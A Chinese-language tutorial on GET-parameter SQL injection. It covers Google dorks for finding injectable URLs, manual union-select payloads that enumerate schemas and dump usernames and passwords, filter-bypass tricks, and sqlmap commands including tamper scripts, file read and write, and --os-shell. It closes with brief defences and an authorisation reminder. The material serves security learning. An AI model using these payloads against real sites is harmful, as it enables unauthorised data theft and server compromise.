Get型SQL注入思路分享
字数 1227 2025-08-18 11:39:04
Get型SQL注入技术详解
一、寻找注入点
1. Google Hacking技巧
使用Google高级搜索语法快速定位潜在注入点:
intext:搜索正文中含有关键词的网页- 示例:
intext:后台登录
- 示例:
intitle:搜索标题中含有关键词的网页- 示例:
intitle:登录
- 示例:
inurl:搜索URL中含有关键词的网页- 示例:
inurl:Login
- 示例:
site:指定搜索站点- 示例:
site:baidu.com inurl:Login
- 示例:
推荐搜索模式:inurl:?id=1 查找带有ID参数的URL
2. 注入点特征识别
典型注入点URL格式:http://www.example.com/page.php?id=35
二、基础注入测试
1. 初步测试
- 单引号测试:
id=35'- 观察是否出现数据库错误信息
- 逻辑测试:
id=35 and 1=1(应返回正常页面)id=35 and 1=2(应返回错误或空白页面)
2. WAF绕过技巧
当空格被过滤时:
- 使用加号代替空格:
id=35+and+1=1 - 使用注释符:
id=35/**/and/**/1=1
三、手工注入技术
1. 确定列数
使用order by语句:
id=35 order by 1 --
id=35 order by 2 --
...
直到出现错误,确定最大列数
2. 联合查询注入
-
构造联合查询:
id=-35 union select 1,2,3,...,n --(n为确定的列数)
-
确定显示位(页面中显示数字的位置)
3. 获取数据库信息
-
获取所有数据库名:
id=-35 union select 1,schema_name,3 from information_schema.schemata limit 0,1 --通过修改limit参数获取所有数据库
-
获取当前数据库:
id=-35 union select 1,database(),3 --
4. 获取表信息
当单引号被过滤时,使用十六进制绕过:
id=-35 union select 1,table_name,3 from information_schema.tables where table_schema=0x[数据库名十六进制] limit 0,1 --
示例:sanying的十六进制为73616e79696e67
5. 获取字段信息
id=-35 union select 1,column_name,3 from information_schema.columns where table_name=0x[表名十六进制] limit 0,1 --
示例:db_member的十六进制为64625f6d656d626572
6. 获取数据
id=-35 union select 1,username,password from sanying.db_member limit 0,1 --
四、SQLmap自动化注入
1. 基本命令
-
获取数据库:
sqlmap -u "http://example.com/page.php?id=1" --dbs -
获取表:
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables -
获取字段:
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --columns -
获取数据:
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump
2. WAF绕过技巧
使用tamper脚本:
sqlmap -u "http://example.com/page.php?id=1" --tamper=space2morehash.py
常用tamper脚本:
space2morehash.py:将空格替换为#并添加随机字符串space2hash.py:空格替换为#号base64encode.py:替换为base64编码charencode.py:URL编码
3. 高级用法
-
Cookie注入:
sqlmap -u "http://example.com/shownews.asp" --cookie "id=11" --level 2 -
POST注入:
sqlmap -r request.txt -p username -
文件操作:
- 读取文件:
sqlmap -r request.txt --file-read="/path/to/file" - 写入文件:
sqlmap -r request.txt --file-write="local_file" --file-dest="/remote/path"
- 读取文件:
-
执行系统命令:
sqlmap -r request.txt --os-shell
五、防御措施
- 使用参数化查询或预处理语句
- 实施最小权限原则
- 对输入进行严格过滤和验证
- 使用Web应用防火墙(WAF)
- 错误信息处理,避免泄露敏感信息
- 定期进行安全审计和渗透测试
六、注意事项
- 渗透测试必须获得授权
- 避免使用
--os-shell等高风险操作 - 测试时使用
--batch参数防止误操作 - 注意法律和道德边界
通过以上技术文档,您可以全面了解Get型SQL注入的原理、技术和防御方法。请务必在合法授权范围内使用这些技术进行安全测试。